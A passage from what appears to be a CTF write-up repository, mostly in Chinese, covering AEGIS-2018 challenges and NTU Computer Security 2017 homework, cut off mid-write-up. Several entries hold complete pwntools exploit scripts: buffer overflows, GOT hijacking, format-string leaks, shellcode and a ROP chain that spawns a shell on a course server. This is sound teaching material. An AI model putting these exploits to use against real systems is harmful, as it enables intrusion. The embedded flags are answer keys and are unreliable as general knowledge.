├── AEGIS-2018 ├── README.md ├── lenna.md └── weird.md ├── NTU-computer-security-2017 ├── README.md ├── homework0 │ ├── BubbleSort.md │ ├── README.md │ ├── pwn1.md │ ├── ret222.md │ ├── rev1.md │ └── rev2.md ├── homework1 │ ├── README.md │ └── hw1.md ├── homework2 │ ├── README.md │ └── gothijack.md ├── homework3 │ ├── README.md │ └── _readme.md ├── homework4 │ ├── README.md │ ├── fmtfun4u.md │ ├── hacknote2.md │ └── profile_manager.md └── homework5 │ ├── README.md │ └── baby_heap_revenge.md ├── README.md ├── Tokyo-Western-2018 ├── README.md └── dec_dec_dec.md ├── ais3-2017 ├── README.md ├── final-ctf │ ├── README.md │ ├── misc1.md │ ├── pwn1.md │ ├── pwn2.md │ └── reverse1.md ├── pre-exam │ ├── README.md │ ├── crypto1.md │ ├── crypto3.md │ ├── misc2.md │ ├── misc4.md │ ├── reverse1.md │ ├── web1.md │ ├── web2.md │ ├── web3.md │ └── web4.md └── workshop │ ├── README.md │ ├── binary-bonus.md │ ├── binary1.md │ ├── binary2.md │ ├── binary3.md │ ├── binary4.md │ ├── binary5.md │ ├── ssrf-file-access.md │ ├── ssrf-struts2.md │ └── ssrf-xxe.md ├── ais3-2018 ├── README.md └── pre-exam │ ├── README.md │ ├── crypto1.md │ ├── crypto2.md │ ├── misc1.md │ ├── misc2.md │ ├── misc3.md │ ├── pwn1.md │ ├── pwn2.md │ ├── pwn3.md │ ├── pwn4.md │ ├── rev1.md │ ├── rev2.md │ ├── rev3.md │ ├── rev4.md │ ├── web1.md │ ├── web2.md │ └── web3.md ├── ais3-eof-2017 ├── README.md ├── final │ └── getflag.md └── qualification │ ├── Bingo.md │ ├── MOSburger.md │ ├── MindSweeper.md │ ├── Python2Easy.md │ ├── Python2Easy2.md │ ├── magicheap.md │ ├── simple.md │ ├── singlehell.md │ ├── webshell.md │ ├── writeme.md │ └── xssme.md ├── bsides-2018 ├── README.md ├── krev.md ├── st4t1c.md └── thr3ads.md ├── csaw-2018 ├── README.md ├── algebra.md ├── bigboi.md ├── flagcrypt.md ├── get_it.md ├── kvm.md ├── rewind.md ├── shellpointcode.md ├── simple_recovery.md └── tour_of_x86_1.md ├── dctf-2018 ├── README.md ├── lucky2.md ├── memsome.md └── ransomware.md ├── seccon-2018 ├── README.md ├── boguscrypt.md ├── classic.md ├── history.md ├── mnemonic.md ├── runme.md ├── spdev.md └── spins.md └── sect-2018 ├── README.md ├── ezdos.md ├── puppetmatroyshka.md └── shredder.md /AEGIS-2018/README.md: -------------------------------------------------------------------------------- 1 | # 神盾盃2018 2 | 3 | Team : 小朋友再見老師再見大家明天見 4 | 5 | * [..](./../) 6 | * Binary 7 | * [AEGIS_2018_9 (100)](./weird.md) 8 | * Forensic 9 | * [AEGIS_2018 ?? (100)](./lenna.md) 10 | -------------------------------------------------------------------------------- /AEGIS-2018/lenna.md: -------------------------------------------------------------------------------- 1 | ## lenna 2 | ### solution 3 | 題目給了一個網頁,裡面有兩張圖片,右邊的那張分成數個td cell,某些點擊後會變成黑色,可以點擊的部份可以拼湊成一個字母R,以上沒有任何意義。 4 | 5 | 將左右兩張圖片下載下來進行比對 6 | ```sh 7 | $ cmp -l Lenna_left.bmp Lenna_right.bmp | gawk '{printf "%08X %02X %02X\n", $1, strtonum(0$2), strtonum(0$3)}' > out 8 | ``` 9 | 接著從結果可以發現類似flag的字母 10 | ``` 11 | 00029437 g 12 | 0002949D A f 13 | 000294DF Y 5 14 | 0002954B n } 15 | 0002B837 y u 16 | 0002B89D E 8 17 | 0002B8DF S 8 18 | 0002B94B ` d 19 | 0002B987 8 20 | 0002B9C0 _ 5 21 | 0002BA29 _ d 22 | 0002BA65 m 5 23 | 0002BAB6 q d 24 | 0002BAD7 W f 25 | 0002BB37 q e 26 | 0002BB9D E f 27 | 0002BBDF V 8 28 | 0002BC4B X 8 29 | 0002BCC0 b w 30 | 0002BD29 ^ s 31 | 0002BD65 q 5 32 | 0002BDB6 w d 33 | 0002BDD7 R s 34 | 0002C737 x A 35 | 0002C79D J E 36 | 0002C7DF \ G 37 | 0002C84B \ I 38 | 0002C887 Y S 39 | 0002C8C0 c { 40 | 0002C929 g 0 41 | 0002C965 o 2 42 | 0002C9B6 3 43 | 0002C9D7 U d 44 | ``` 45 | 然而順序有點怪異,需要重新排列,根據offset末兩位的循環來進行分割得到 46 | ``` 47 | gf5} u88d85d5df ef88ws5ds AEGIS{023d 48 | ``` 49 | 反序排列得到 50 | ``` 51 | AEGIS{023def88ws5dsu88d85d5dfgf5} 52 | ``` 53 | 即是正確flag 54 | -------------------------------------------------------------------------------- /AEGIS-2018/weird.md: -------------------------------------------------------------------------------- 1 | ## weird 2 | ### solution 3 | 觀落陰題,題目給了一個執行檔,執行後會發現 4 | ``` 5 | ./weird: relocation error: ./weird: symbol 44444444444444444 version GLIBC_2.2.5 not defined in file libc.so.6 with link time reference 6 | ``` 7 | 由於是relocation error,因此先看看relocation table發生什麼事。 8 | ``` 9 | $ objdump -R weird 10 | 11 | weird: 檔案格式 elf64-x86-64 12 | 13 | DYNAMIC RELOCATION RECORDS 14 | OFFSET TYPE VALUE 15 | 0000000000600ff8 R_X86_64_GLOB_DAT __gmon_start__ 16 | 0000000000601018 R_X86_64_JUMP_SLOT 444444@GLIBC_2.2.5 17 | 0000000000601020 R_X86_64_JUMP_SLOT 444444@GLIBC_2.2.5 18 | 0000000000601028 R_X86_64_JUMP_SLOT 4444@GLIBC_2.2.5 19 | 0000000000601030 R_X86_64_JUMP_SLOT 444444444444444@OPENSSL_1.0.0 20 | 0000000000601038 R_X86_64_JUMP_SLOT 44444444444444444@GLIBC_2.2.5 21 | 0000000000601040 R_X86_64_JUMP_SLOT 444444@GLIBC_2.2.5 22 | 0000000000601048 R_X86_64_JUMP_SLOT 4444444444444444444@OPENSSL_1.0.0 23 | 0000000000601050 R_X86_64_JUMP_SLOT 4444444444444444@GLIBC_2.4 24 | ``` 25 | 所有的entry名稱都被改掉了,因此`dl_resove()`時失敗,因此必須試著修復這些entry。 26 | 27 | 首先長度理論上會和原本的函式相同,可以藉此先篩選出一部分的函式,接著可以利用動態分析的方式,藉由觀察call function時的暫存器,以及call之前前幾條指令設定了哪些暫存器來推測函式的參數,可以簡單的判別出參數型別是pointer(記憶體位址)還是scalar。 28 | 29 | 先用gdb開啟接著start,追到第一個`call 44444444444444444@plt`,這個很明顯應該是`__libc_start_main`,長度是17個字元,且dynamically linked的程式一定會有的entry,修改後程式也正常執行到另外一個call才爆炸,可以推測應該沒錯。 30 | 31 | 再來觀察一部分的反組譯 32 | ``` 33 | $ objdump -d -Mintel weird 34 | 400916: 48 8d 85 f0 fe ff ff lea rax,[rbp-0x110] 35 | 40091d: ba 80 00 00 00 mov edx,0x80 36 | 400922: be 00 00 00 00 mov esi,0x0 37 | 400927: 48 89 c7 mov rdi,rax 38 | 40092a: e8 41 fd ff ff call 400670 <444444@plt> 39 | 40092f: 48 8d 85 70 ff ff ff lea rax,[rbp-0x90] 40 | 400936: ba 80 00 00 00 mov edx,0x80 41 | 40093b: be 00 00 00 00 mov esi,0x0 42 | 400940: 48 89 c7 mov rdi,rax 43 | 400943: e8 28 fd ff ff call 400670 <444444@plt> 44 | ``` 45 | 此處分別是`444444(rbp-0x110, 0, 0x80)`, `444444(rbp-0x90, 0, 0x80)`,6個字的函式中比較符合的大概就是`memset`了,分別對stack上兩塊0x80的空間進行歸0。修改完後程式執行也沒有出錯。 46 | 47 | 接下來從字串找一些線索,先找出幾個字串的位址 48 | ``` 49 | $ strings -tx weird 50 | ae4 decrypt error 51 | af2 dec len: %d 52 | aff data: %s 53 | ``` 54 | 可以試圖從反組譯中找到cross reference 55 | ``` 56 | 4009f6: bf e4 0a 40 00 mov edi,0x400ae4 57 | 4009fb: e8 80 fc ff ff call 400680 <4444@plt> 58 | 400a00: b8 ff ff ff ff mov eax,0xffffffff 59 | 400a05: eb 3f jmp 400a46 <__gmon_start__@plt+0x366> 60 | 400a07: 48 8d 85 f0 fe ff ff lea rax,[rbp-0x110] 61 | 400a0e: 48 89 c7 mov rdi,rax 62 | 400a11: e8 9a fc ff ff call 4006b0 <444444@plt> 63 | 400a16: 48 89 c6 mov rsi,rax 64 | 400a19: bf f2 0a 40 00 mov edi,0x400af2 65 | 400a1e: b8 00 00 00 00 mov eax,0x0 66 | 400a23: e8 38 fc ff ff call 400660 <444444@plt> 67 | 400a28: 48 8d 85 f0 fe ff ff lea rax,[rbp-0x110] 68 | 400a2f: 48 89 c6 mov rsi,rax 69 | 400a32: bf ff 0a 40 00 mov edi,0x400aff 70 | 400a37: b8 00 00 00 00 mov eax,0x0 71 | 400a3c: e8 1f fc ff ff call 400660 <444444@plt> 72 | ``` 73 | `ae4`的部份是一個一般字串,做為`4444`的參數,因此`4444`應該就是`puts`了。 74 | 再來可以看到下面的兩個`400660<444444@plt>`,這裡用到`af2`和`aff`,這兩者裡面有`placeholder`,因此應該是`printf`。 75 | 76 | 此外這邊還有一個`4006b0<444444@plt>`,他的參數只有一個,是stack上某個連續記憶體空間,也只能猜是`strlen`了,最後glibc還有一個長度16個字的,出現在function的尾部,附近會有一個比較,這也就只能猜是`__stack_chk_fail`了,如此一來只剩兩個openssl的entry,分別是15和19字。 77 | 78 | 先試著篩19字的function 79 | ``` 80 | nm -D -g /usr/lib/libcrypto.so.1.0.0 | grep -E "^[0-9a-f]+ [T/t] \w{19}\$" 81 | 0000000000095f80 T AES_set_decrypt_key 82 | 0000000000095f70 T AES_set_encrypt_key 83 | ``` 84 | 從字串來判斷應該是對某個地方進行decrypt,且從assembly看起來有三個參數 85 | ``` 86 | 400866: 48 8d 95 e0 fe ff ff lea rdx,[rbp-0x120] 87 | 40086d: 48 8b 85 c0 fe ff ff mov rax,QWORD PTR [rbp-0x140] 88 | 400874: be 80 00 00 00 mov esi,0x80 89 | 400879: 48 89 c7 mov rdi,rax 90 | 40087c: e8 3f fe ff ff call 4006c0 <4444444444444444444@plt> 91 | ``` 92 | 應該是`int AES_set_decrypt_key( const unsigned char *userKey, const int bits, AES_KEY *key)`,接著最後長度為15的function,經常搭配使用的應該是 93 | ``` 94 | void AES_cbc_encrypt( 95 | const unsigned char *in, 96 | unsigned char *out, 97 | const unsigned long length, 98 | const AES_KEY *key, 99 | unsigned char *ivec, 100 | const int enc); 101 | ``` 102 | 103 | 如此一來就把所有entry都復原了,最後結果如下: 104 | ``` 105 | $ objdump -R weird-patched 106 | 107 | weird-patched: 檔案格式 elf64-x86-64 108 | 109 | DYNAMIC RELOCATION RECORDS 110 | OFFSET TYPE VALUE 111 | 0000000000600ff8 R_X86_64_GLOB_DAT __gmon_start__ 112 | 0000000000601018 R_X86_64_JUMP_SLOT printf@GLIBC_2.2.5 113 | 0000000000601020 R_X86_64_JUMP_SLOT memset@GLIBC_2.2.5 114 | 0000000000601028 R_X86_64_JUMP_SLOT puts@GLIBC_2.2.5 115 | 0000000000601030 R_X86_64_JUMP_SLOT AES_cbc_encrypt@OPENSSL_1.0.0 116 | 0000000000601038 R_X86_64_JUMP_SLOT __libc_start_main@GLIBC_2.2.5 117 | 0000000000601040 R_X86_64_JUMP_SLOT strlen@GLIBC_2.2.5 118 | 0000000000601048 R_X86_64_JUMP_SLOT AES_set_decrypt_key@OPENSSL_1.0.0 119 | 0000000000601050 R_X86_64_JUMP_SLOT __stack_chk_fail@GLIBC_2.4 120 | 121 | $ ./weird-patched 122 | dec len: 42 123 | data: d0nT_F*Ck_Wl+h_mY_5+RT4B_y0u_m0+h3r_f*ck3r 124 | ``` 125 | 126 | data的部份即為flag。 127 | -------------------------------------------------------------------------------- /NTU-computer-security-2017/README.md: -------------------------------------------------------------------------------- 1 | # NTU Computer Security 2017 2 | 3 | * [..](./../) 4 | ## Homeworks 5 | * [homework0](./homework0) 6 | * [pwn1](./homework0/pwn1.md) 7 | * [BubbleSort](./homework0/BubbleSort.md) 8 | * [ret222](./homework0/ret222.md) 9 | * [rev1](./homework0/rev1.md) 10 | * [rev2](./homework0/rev2.md) 11 | * [homework1](./homework1) 12 | * [hw1](./homework1/hw1.md) 13 | * [homework2](./homework2) 14 | * [gothijack](./homework2/gothijack.md) 15 | * [homework3](./homework3) 16 | * [readme](./homework3/_readme.md) 17 | * [homework4](./homework4) 18 | * [fmtfun4u](./homework4/fmtfun4u.md) 19 | * [hacknote2](./homework4/hacknote2.md) 20 | * [profile_manager](./homework4/profile_manager.md) 21 | * [homework5](./homework5) 22 | * [baby_heap_revenge](./homework5/baby_heap_revenge.md) 23 | 24 | ## Final CTF 25 | -------------------------------------------------------------------------------- /NTU-computer-security-2017/homework0/BubbleSort.md: -------------------------------------------------------------------------------- 1 | ## BubbleSort 2 | 程式先要求array長度,接著讀取每個元素內容,再讀取一個要sort的大小,接著進行sort,而隨意測試發現array長度不可輸入負數(branch使用`JBE`),範圍為(0 ~ 127),但排序長度可以(branch使用`JLE`)。因此sort可以排序到0~255(-1)的size,意即我們可以令input在經過sort後swap掉return address。 3 | 4 | 從ELF symbol中可以發現`DarkSoul`這個function,反組譯後發現內部會執行`system('sh')`因此將return address swap為`DarkSoul`的位址即可。 5 | 6 | 觀察stack上的內容在int array到return之間的值都> 0x80000000,因為是以int比較,因此這些值會作為負數,當送的payload中全部填0,則這些值會被swap到最前面,而DarkSoul的位址0x08048580放在陣列的最後面,因此只要輸入(return address - buffer)/sizeof(int)就能讓DarkSoul swap到目標,而這個值為-125(131), 7 | 8 | ```python 9 | #!/usr/bin/env python3 10 | from pwn import * 11 | context(arch='amd64') 12 | 13 | p = remote('csie.ctf.tw', 10121) 14 | b = ELF('bubblesort') 15 | 16 | array = [0] * 126 + [b.symbols[b'DarkSoul']] 17 | p.sendline('127') # 127 elements 18 | for num in array: 19 | p.sendline(str(num)) 20 | p.sendline('-125') # 131 21 | p.interactive() 22 | ``` 23 | -------------------------------------------------------------------------------- /NTU-computer-security-2017/homework0/README.md: -------------------------------------------------------------------------------- 1 | # NTU Computer Security 2017 2 | ## Homework 0 3 | 4 | * [..](./../) 5 | * [pwn1](./pwn1.md) 6 | * [BubbleSort](./BubbleSort.md) 7 | * [ret222](./ret222.md) 8 | * [rev1](./rev1.md) 9 | * [rev2](./rev2.md) 10 | 11 | -------------------------------------------------------------------------------- /NTU-computer-security-2017/homework0/pwn1.md: -------------------------------------------------------------------------------- 1 | ## pwn1 2 | 題目已經說明是stack buffer overflow,nm可以發現一個function叫`callme`,反組譯後發現內容是`system('sh')`,因此利用buffer overflow將return address蓋為`callme`即可。 3 | 4 | ```python 5 | #!/usr/bin/env python3 6 | from pwn import * 7 | context(arch='amd64') 8 | 9 | p = remote('csie.ctf.tw', 10120) 10 | b = ELF('pwn1') 11 | 12 | payload = cyclic(40).encode() + p64(b.symbols[b'callme']) 13 | p.sendline(payload) 14 | p.interactive() 15 | ``` 16 | -------------------------------------------------------------------------------- /NTU-computer-security-2017/homework0/ret222.md: -------------------------------------------------------------------------------- 1 | ## ret222 2 | 本題source code中可以明顯看到兩個弱點,一個是format string vulnerability,一個是stack buffer overflow,但本題的binary開啟了ALSR、PIE、NX、Full RELRO,且沒有提供libc,因此不能使用return2libc,binary內也沒有足夠的gadget能組成ROP chain。 3 | 4 | 題目很明顯的將`name & 0xFFF`開始0x1000 bytes的空間設為`PROT_EXEC | PROT_WRITE | PROT_READ`,因此可能要將shellcode放置在name中,但是name的大小只有16bytes,所以可能可以搭配一些ROP gadget來減少shellcode需要的大小。 5 | 6 | 接著問題就是要如何leak出name的位址,而PIE/ASLR設計上的弱點是.bss和.text的相對位址是固定的,因此可以先用format string leak出stack上`__libc_csu_init`的位址,以及canary的值,接著從`__libc_csu_init`算出name的位址。 7 | 8 | shellcode的部份,我們可以藉由先將`'/bin/sh\x00'`放在payload中一併寫到stack,我們就可以將shellcode減少到16byte以內。 9 | 10 | 因此最後的流程是 11 | 1. 先將format string設定成包含要leak的位址的字串 12 | 2. 以printf leak出stack上`__libc_csu_init`的位址以及canary 13 | 3. 送出canary + &name + `'/bin/sh\x00'`的payload 14 | 15 | ```python 16 | #!/usr/bin/env python 17 | from pwn import * 18 | 19 | context(arch='amd64')= 20 | 21 | r = remote('csie.ctf.tw', 10122) 22 | 23 | # 1. leak canary and __libc_csu_init 24 | r.sendline('1') 25 | r.sendline('%23$llx %24$llx') 26 | r.sendline('2') 27 | r.recvuntil('Name:') 28 | 29 | canary, libc_csu_init = map(lambda addr: int(addr, 16), 30 | r.recvuntil('*', drop=True).split()) 31 | 32 | # 2. compute name and generate then send the ROP payload 33 | b = ELF('ret222') 34 | name = libc_csu_init + (b.symbols[b'name'] - b.symbols[b'__libc_csu_init']) 35 | payload = cyclic(136).encode() 36 | payload += p64(canary) 37 | payload += cyclic(8).encode() 38 | payload += p64(name) 39 | payload += p64(int.from_bytes(b'/bin/sh\x00', byteorder='little')) 40 | r.sendline('3') 41 | r.sendline(payload) 42 | 43 | # 3. fill name with shellcode, then return to name 44 | sc = """ 45 | /* call execve('rsp', 0, 0) */ 46 | xor rsi, rsi 47 | push (SYS_execve) /* 0x3b */ 48 | pop rax 49 | mov rdi, rsp 50 | cdq /* rdx=0 */ 51 | syscall 52 | """ 53 | r.sendline('1') 54 | r.sendline(asm(sc)) 55 | 56 | r.sendline('4') 57 | r.interactive() 58 | ``` 59 | -------------------------------------------------------------------------------- /NTU-computer-security-2017/homework0/rev1.md: -------------------------------------------------------------------------------- 1 | ## rev1 2 | nm rev1可以看到一個function叫`print_flag`,反組譯後發現`main`只有`return 0`,因此用gdb開啟後`break main`再改變`$eip`跳到`print_flag`即可。 3 | -------------------------------------------------------------------------------- /NTU-computer-security-2017/homework0/rev2.md: -------------------------------------------------------------------------------- 1 | ## rev2 2 | 題目為一windows binary,先直接執行,發現有一個Text input,隨意輸入後點擊OK會出現`"Try harder!"`,以IDA Pro分析並藉由搜尋`Try harder`字串的xref位置找到主要的函式`DialogFunc()`,將其反編譯後並稍微改寫後得到下方的函式 3 | ```c 4 | BOOL __stdcall DialogFunc(HWND hDlg, UINT a2, WPARAM nResult, LPARAM a4) 5 | { 6 | char str[256] = {}; 7 | GetDlgItemTextA(hDlg, 1001, &str, 256); 8 | // if len > 0, xor each byte with 0xCC 9 | if (strlen(str) > 0) 10 | { 11 | for(uint i = 0; i < strlen(&str); ++i) 12 | { 13 | str[i] ^= 0xCCu; 14 | } 15 | } 16 | // compare xored input to unk_4120BC 17 | char *p1 = &str; 18 | char *p2 = &unk_4120BC; 19 | unsigned int len = 17; 20 | while ( *(_DWORD *)p1 == *(_DWORD *)p2 ) 21 | { 22 | p1 += 4; 23 | p2 += 4; 24 | len -= 4; 25 | if ( len < 4) 26 | { 27 | if ( *p1 == *p2 ) 28 | { 29 | MessageBoxA(0, "Congrats!", &Caption, 0x40u); 30 | return 1; 31 | } 32 | break; 33 | } 34 | } 35 | MessageBoxA(0, "Try harder!", &Caption, 0x30u); 36 | return 1; 37 | } 38 | ``` 39 | 分析後可以得知,當input與`0xCC`進行xor後,若是與`unk_4120BC`相同,則會跳出`"Congrats!"`,因此將`unk_4120BC`處字串與`0xCC`進行xor即可得到flag 40 | -------------------------------------------------------------------------------- /NTU-computer-security-2017/homework1/README.md: -------------------------------------------------------------------------------- 1 | # NTU Computer Security 2017 2 | ## Homework 1 3 | 4 | * [..](./../) 5 | * [hw1](./hw1.md) 6 | -------------------------------------------------------------------------------- /NTU-computer-security-2017/homework1/hw1.md: -------------------------------------------------------------------------------- 1 | ## hw1 2 | 以IDA Pro將題目反編譯,發現`encrypt`函式,大致整理後如下: 3 | ```c 4 | int encrypt(char *str, int len) 5 | { 6 | int v4; // edx@2 7 | int v5; // eax@2 8 | int ptr; // [sp+14h] [bp-20h]@2 9 | 10 | FILE *fp = fopen("flag", "wb"); 11 | if ( len ) 12 | { 13 | int i = 0; 14 | do 15 | { 16 | v4 = (i + 1) << (i + 2) % 0xAu; 17 | ptr = str[i++] * v4 + 9011; 18 | fwrite(&ptr, 4u, 1u, fp); 19 | } 20 | while ( i != len ); 21 | } 22 | return fclose(fp); 23 | } 24 | ``` 25 | 可知加密公式為: 26 | c' = (c * ((i + 1) << (i + 2)mod 0xAu))+9011 27 | 28 | 其中c為字元、c'為加密後之字元、i為字元index, 29 | 根據此段公式逆向計算即可解出FLAG 30 | 31 | c = (c' - 9011)/((i + 1) << (i + 2)) % 0xAu 32 | ```c 33 | #include 34 | #include 35 | 36 | int main(void) { 37 | FILE *fp = fopen("flag", "rb"); 38 | 39 | int buf; 40 | int i = 0; 41 | while(fread(&buf, 4, 1, fp) == 1) { 42 | char c = (buf - 9011) / ((i + 1) << (i + 2) % 0xAu); 43 | putchar(c); 44 | i++; 45 | } 46 | return 0; 47 | } 48 | 49 | ``` 50 | -------------------------------------------------------------------------------- /NTU-computer-security-2017/homework2/README.md: -------------------------------------------------------------------------------- 1 | # NTU Computer Security 2017 2 | ## Homework 2 3 | 4 | * [..](./../) 5 | * [gothijack](./gothijack.md) 6 | -------------------------------------------------------------------------------- /NTU-computer-security-2017/homework2/gothijack.md: -------------------------------------------------------------------------------- 1 | ## gothijack 2 | 先分析本題binary,有開啟canary,無NX、PIE,執行發現會先要求name,寫入到`username`(`0x6010a0`),該區段為`rwxp`,接著可以任意指定一個address,寫入8byte資料,由於此題有canary,但看起來沒有任何leak,也未提供libc,因此很難使用ROP和return to libc,唯一可以控制rip的方式是在寫入記憶體位址後執行`puts`,因此可以透過改寫`puts@got`來控制。 3 | 4 | 因此最後做法為使用任意寫先將`puts@got`改為`main`,如此一來就可以重複執行,也就是說可以重複對任意記憶體位址寫入,接著將shellcode分數次寫到`buffer+8`的位址,最後再改寫`puts@got`為`buffer+8`跳過去執行即可 5 | 6 | ```python 7 | #!/usr/bin/env python3 8 | 9 | from pwn import * 10 | context(arch='amd64') 11 | 12 | #r = process('gothijack') 13 | r = remote('csie.ctf.tw', 10129) 14 | b = ELF("gothijack") 15 | 16 | r.sendline('\x00') 17 | r.recvuntil('write :') 18 | r.sendline(hex(b.got[b'puts'])) 19 | r.recvuntil('data :') 20 | r.send(p64(b.symbols[b'main'])) 21 | 22 | buf = b.symbols[b'username'] 23 | sc = asm(shellcraft.sh()) 24 | for i in range(0, len(sc), 8): 25 | r.recvuntil('name :') 26 | r.sendline('\x00') 27 | r.recvuntil('write :') 28 | r.sendline(hex(buf + 8 + i)) 29 | r.recvuntil('data :') 30 | r.send(sc[i:i + 8]) 31 | 32 | r.sendline('\x00') 33 | r.recvuntil('write :') 34 | r.sendline(hex(b.got[b'puts'])) 35 | r.recvuntil('data :') 36 | r.send(p64(buf + 8)) 37 | 38 | r.interactive() 39 | ``` 40 | -------------------------------------------------------------------------------- /NTU-computer-security-2017/homework3/README.md: -------------------------------------------------------------------------------- 1 | # NTU Computer Security 2017 2 | ## Homework 3 3 | 4 | * [..](./../) 5 | * [readme](./_readme.md) 6 | -------------------------------------------------------------------------------- /NTU-computer-security-2017/homework3/_readme.md: -------------------------------------------------------------------------------- 1 | ## readme 2 | ### Solution 3 | 本題的binary單純從輸入讀`0x30`個bytes到長度為`0x20`的buffer中,總共可以overflow的大小為`0x8`,只能往前放一個rbp + return address,但由於main的尾端是`read(0, [rbp-0x20], 0x30)`,因此我們能利用這段作為gadget進行migrartion。 4 | 5 | 由於`leave`後`rsp`會等於`rbp`,而寫入從`rbp-0x20`開始,因此輸入的有效的部份仍然只有後面的`0x10`的大小(2個gadget),但我們可以先將部份的ROP chain依次填到前面的0x20個bytes,接著不斷的反覆migration,每次寫的位置增加0x20個bytes,如此我們就能將完整的ROP chain寫到buf1上。 6 | 7 | 因此,從`.bss`尾端切兩個buffer,`buf1`共`0x160` bytes、中間間隔`0x20` bytes,接著是`buf2`共`0x20` bytes,`buf2`只用來做migration, 8 | 9 | 接著不斷地在buf1 + 0x20 * i (i是次數)和buf2之間migrate,利用前20個bytes不斷將整個ROP chain全部寫到buf1後,再跳至buf1執行ROP chain。 10 | 11 | 接著,ROP chain的部份,可用的gadget有rdi和rsi,沒有syscall,printf對stack的需求過大也無法用來leak libc,但是本題只開啟Partial RELRO,所以我們可以partial overwrite GOT來使read@plt指到syscall(將GOT LSB的`0x20`蓋為`0x2e`)。 12 | 13 | 有了syscall後作法其實很多,可以先以write leak出libc,接著讀進`system("sh")`,但也可以直接使用execve("/bin/sh", 0, 0),這邊使用了後者作法。 14 | 15 | 後者作法的難在要使`rax`為59,但沒有`rax`的gadget,且`read@got`已被修改,所以這裡使用`write(1, buf1, 0x59)`來改變rax。 這處使用了一個在`__libc_csu_init`中的code segment,如下 16 | ```asm 17 | 400690: 4c 89 ea mov rdx,r13 18 | 400693: 4c 89 f6 mov rsi,r14 19 | 400696: 44 89 ff mov edi,r15d 20 | 400699: 41 ff 14 dc call QWORD PTR [r12+rbx*8] 21 | 40069d: 48 83 c3 01 add rbx,0x1 22 | 4006a1: 48 39 eb cmp rbx,rbp 23 | 4006a4: 75 ea jne 400690 <__libc_csu_init+0x40> 24 | 4006a6: 48 83 c4 08 add rsp,0x8 25 | 4006aa: 5b pop rbx 26 | 4006ab: 5d pop rbp 27 | 4006ac: 41 5c pop r12 28 | 4006ae: 41 5d pop r13 29 | 4006b0: 41 5e pop r14 30 | 4006b2: 41 5f pop r15 31 | 4006b4: c3 ret 32 | ``` 33 | 我們利用下面的gadget可以控制rbx, rbp, r12, r13, r14, r15,接著return到上面的部份就可以控制到rdi, rsi, rdx以及function address,因此這裡連續使用了兩次這個segment,第一次執行write(1, buf1, 59),第二次執行execve("/bin/sh", 0, 0)。 34 | 35 | 由於第一次執行完後會繼續往下執行,其中有一個分支 36 | ``` 37 | add rbx, 0x1 38 | cmp rbx, rbp 39 | jne 400690 40 | ``` 41 | 為了使其fallthrough,`rbx`和`rbp`必須考慮constraint: 42 | * `[rbx + 1] = rbp` 43 | 44 | call的目標為: 45 | * `[r12 + rbx * 8] = read@plt(syscall)` 46 | 47 | 最後我們可以計算出: 48 | * `r12 = read@plt - rbx * 8` 49 | * `rbx = rbp - 1` 50 | 51 | 而fallthrough之後有一行`add rsp, 0x8`,因此ROP chain必須在中間再加8個bytes的padding,最後執行execve時就不用考慮fallthrough的constrain,令`rbx = 0`,`r12 = read@plt`即可。 52 | 53 | ### script 54 | ```python 55 | #!/usr/bin/env python3 56 | from pwn import * 57 | 58 | context.update(arch='amd64', os='linux') 59 | binary = ELF('readme') 60 | rop = ROP(binary) 61 | 62 | #r = process("readme") 63 | r = remote('csie.ctf.tw', 10135) 64 | 65 | buf1 = (binary.bss() & ~0xfff) + 0x1000 - 0x200 66 | buf2 = (binary.bss() & ~0xfff) + 0x1000 - 0x20 67 | 68 | buf1_rop = [buf2, # rbp = buf2 69 | # partial overwrite read@got 70 | # 0x20 -> 0x2e (syscall) 71 | # read(0, read@got, 0x30) 72 | rop.rsi.address, binary.got[b'read'], 0, 73 | binary.plt[b'read'], 74 | # makes rax = write(1, buf1, 59) = 59(execve) 75 | # constraint : [rbx + 1] = [rbp] 76 | # [r12 + rbx * 8] = read_got 77 | 0x4006aa, 78 | buf2 - 1, # rbx 79 | buf2, # rbp 80 | binary.got[b'read'] - (buf2 - 1) * 8, # r12 81 | 59, # r13 -> rdx 82 | buf1, # r14 -> rsi 83 | 1, # r15 -> rdi 84 | # execve("/bin/sh", 0, 0) 85 | 0x400690, 86 | 0, # padding (add rsp, 0x8) 87 | 0, # rbx 88 | buf2, # rbp 89 | binary.got[b'read'], # r12 90 | 0, # r13 -> rdx 91 | 0, # r14 -> rsi 92 | buf2 - 0x20, # r15 -> rdi 93 | 0x400690, 94 | 0, 0, 0 # padding 95 | ] 96 | 97 | # 1. Migrate stack to buf1 + 0x20 98 | payload = cyclic(32).encode() 99 | payload += p64(buf1 + 0x20) # rbp = buf1 + 0x20 100 | payload += flat([0x40062b]) # read(0, buf1, 0x30) 101 | r.send(payload) 102 | 103 | # 2. Keep migrate, until whole ROP chain write to buf1 104 | for i in range(len(buf1_rop)//4): 105 | payload = flat(buf1_rop[i * 4:(i + 1) * 4]) 106 | payload += p64(buf2) 107 | payload += flat([0x40062b]) # read(0, buf2, 0x30) 108 | r.send(payload) 109 | 110 | if i == len(buf1_rop)//4 - 1: 111 | break 112 | payload = b"A" * 0x20 113 | payload += p64(buf1 + 0x20 * (i + 2)) 114 | payload += flat([0x40062b]) # read(0, [buf1 + 0x20 * (i+1)], 0x30) 115 | r.send(payload) 116 | 117 | # 3. migrate stack back to buf1 118 | payload = flat(["/bin/sh\x00", 0, 0, 0]) 119 | payload += p64(buf1) 120 | payload += flat([rop.leave.address]) 121 | r.send(payload) 122 | 123 | # 4. value to overwrite got 124 | r.send(b'\x2e') 125 | 126 | r.interactive() 127 | ``` 128 | -------------------------------------------------------------------------------- /NTU-computer-security-2017/homework4/README.md: -------------------------------------------------------------------------------- 1 | # NTU Computer Security 2017 2 | ## Homework 4 3 | 4 | * [..](./../) 5 | * [fmtfun4u](./fmtfun4u.md) 6 | * [hacknote2](./hacknote2.md) 7 | * [profile_manager](./profile_manager.md) 8 | -------------------------------------------------------------------------------- /NTU-computer-security-2017/homework4/fmtfun4u.md: -------------------------------------------------------------------------------- 1 | ## fmtfun4u 2 | ### solution 3 | 本題有format string漏洞可以使用,由於buffer不在stack上,而因為題目設計導致main不會return,因此無法使用rbp chain,必須使用argv chain來exploit。 4 | 5 | 本題開啟了Full RELRO,因此無法改寫got,必須考慮return to libc等方式,首先透過leak stack上的`argv`和`__libc_start_main+240`我們可以輕鬆拿到stack和libc的位置,接著就是決定要改寫哪個return pointer,由於main不會return,基本上只能利用printf內的return,有在`.text`的`printf->main`、在libc的`vfprintf->printf`等等可以利用。 6 | 7 | 由於時間限制,在改寫printf內的return 